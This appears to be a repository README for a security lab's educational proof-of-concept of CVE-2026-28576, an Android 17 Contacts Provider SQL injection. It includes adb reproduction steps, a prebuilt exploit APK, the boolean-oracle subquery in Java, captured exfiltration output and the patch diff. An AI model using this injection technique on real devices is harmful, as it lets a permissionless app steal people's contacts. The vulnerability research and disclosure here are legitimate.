
Educational proof-of-concept demonstrating a SQL injection vulnerability in Android 17's Contacts Provider, allowing a zero-permission app to exfiltrate the entire contacts database via a single-contact URI grant.
One picked contact, every contact: a targetSdk compat gate turns a single-contact picker grant into a full contacts database dump.
Android 17 hardened the Contacts Provider against SQL injection with setStrictColumns() / setStrictGrammar() — but shipped the hardening behind a targetSdk-gated compat change (ENFORCE_STRICT_SQL_CHECKS, id 484953293, enableAfterTargetSdk="36"). Any app targeting SDK 36 or lower silently skips the strict checks, and can hide boolean-oracle subqueries in the query selection to read the entire contacts database through a single-contact URI grant. No READ_CONTACTS, no permissions at all.
Note: We did not discover this vulnerability. This repository contains our independent analysis, reproduction, and educational PoC to help the security community understand the bug class: security fixes gated behind
@EnabledAfter(targetSdkVersion)leave every legacy-target app on the vulnerable path.
Full write-up with screenshots and demo video: SQL Injection Still Exists, Even in Android: One Picked Contact, Every Contact (CVE-2026-28576)
├── poc/ # PoC exploit app (UI + system contact picker)
│ ├── src/ # MainActivity.java — picker + boolean-oracle exploit
│ ├── AndroidManifest.xml # ZERO permissions, targetSdk 36
│ └── build.sh # Build without gradle: aapt2 + javac + d8 + apksigner
├── cve-2026-28576-poc.apk # Pre-built PoC APK (debug-signed, ready to install)
├── REPRODUCE.md # Full step-by-step reproduction guide
├── evidence-*.log # Captured vulnerable / patched runs
└── README.md
You need an Android 17 emulator with a security patch level before 2026-07-01
(we used AVD A17-Userdebug, sdk_gphone16k_arm64-userdebug 17 CP31.260623.012,
SPL 2026-07-05 — a beta image that still carries the vulnerable compat gate).
emulator -avd A17-Userdebug -writable-system -no-snapshot &
# Verify the patch level is pre-fix
adb shell getprop ro.build.version.security_patch
# Insert a few victim contacts (as shell, which holds contacts permissions)
adb shell "content insert --uri content://com.android.contacts/raw_contacts \
--bind account_name:s:[email protected] --bind account_type:s:com.google"
adb shell "content insert --uri content://com.android.contacts/data \
--bind raw_contact_id:i:1 --bind mimetype:s:vnd.android.cursor.item/name \
--bind data1:s:'Alice Victim'"
See REPRODUCE.md for the full contact seeding and both run variants.
adb install cve-2026-28576-poc.apk
adb shell am start -n com.poc.cve202628576/.MainActivity
On screen:
checkUriPermission -> 0) and the one contact it is legitimately allowed to see.Requires Android SDK (build-tools 36.0.0, platform android-37.0) and a JDK 17. No gradle needed:
./poc/build.sh # -> poc/build/cve-2026-28576-poc.apk (targetSdk 36, NO permissions)
The grant layer works fine. Android 17's contact picker hands the app a read-only URI grant for exactly one contact: content://com.android.contacts/contacts/lookup/<key>/1. Directly querying anything else is refused with a SecurityException.
The SQL layer does not. Because the PoC targets SDK 36, CompatChanges.isChangeEnabled(ENFORCE_STRICT_SQL_CHECKS, callingUid) returns false and the provider skips setStrictColumns() / setStrictGrammar(). The always-on setStrict(true) parenthesis-wrapping only stops clause breakouts like ') OR 1=1 --; it does nothing about balanced subqueries.
Boolean-oracle injection. The app issues an ordinary-looking query against its granted URI with a subquery hidden in the selection:
contentResolver.query(grantedUri, new String[]{"_id"},
"1 AND (SELECT substr(data1,3,1) FROM data"
+ " WHERE mimetype_id=(SELECT _id FROM mimetypes"
+ " WHERE mimetype='vnd.android.cursor.item/phone_v2')"
+ " ORDER BY _id LIMIT 1 OFFSET 0)='5'", null, null);
On a vulnerable Android 17 build, the zero-permission app exfiltrates all names, phone numbers, and emails through a grant for a single contact (see evidence-picker-run.log):
What I am ALLOWED to see: Alice Victim (one contact)
VULNERABLE: subquery accepted, dumping contacts DB
EXFILTRATED name #1..3: Alice Victim · Bob Manager · Carol Doctor
EXFILTRATED phone #1..3: +1-555-SECRET-01 · +1-555-777-0002 · +1-555-999-0003
EXFILTRATED email #1..3: [email protected] · ...
The fix flips change 484953293 to apply to all callers regardless of targetSdk — a single deleted annotation (public variant: GrapheneOS commit c4129a1c):
@ChangeId
- @EnabledAfter(targetSdkVersion = Build.VERSION_CODES.BAKLAVA)
public static final long ENFORCE_STRICT_SQL_CHECKS = 484953293L;
You can reproduce the exact patched behavior on a vulnerable build without flashing anything:
adb shell am compat enable 484953293 com.poc.cve202628576
# Same query now dies before reaching SQLite:
# IllegalArgumentException: Invalid token SELECT
See evidence-patched-run.log.
Analysis and PoC by Mobile Hacking Lab. We reproduced this vulnerability independently for educational purposes.
This proof of concept is provided for educational and authorized security research purposes only. Only use it on devices and environments you own or have explicit permission to test. The authors are not responsible for any misuse.
| CVE | CVE-2026-28576 (GHSA-ph86-9mcx-3p6r) |
| Severity | High in the bulletin; GitHub's advisory scores it CVSS v4 10.0 (Critical) — arguably high given the preconditions |
| Component | Contacts Provider (ContactsProvider2.queryLocal()) |
| Root Cause | ENFORCE_STRICT_SQL_CHECKS compat change gated behind @EnabledAfter(BAKLAVA) |
| Impact | Any app with a single-contact URI grant reads the entire contacts database without READ_CONTACTS |
| Affected | Android 17, security patch level < 2026-07-01 |
| Patched | Android 17 Security Bulletin |
If the guessed character matches, the granted row comes back (cursor.getCount() == 1); otherwise the cursor is empty. One query per character guess, iterated over LIMIT 1 OFFSET k for every row and mimetype — a phone number falls in under a second, and the whole database in well under a minute.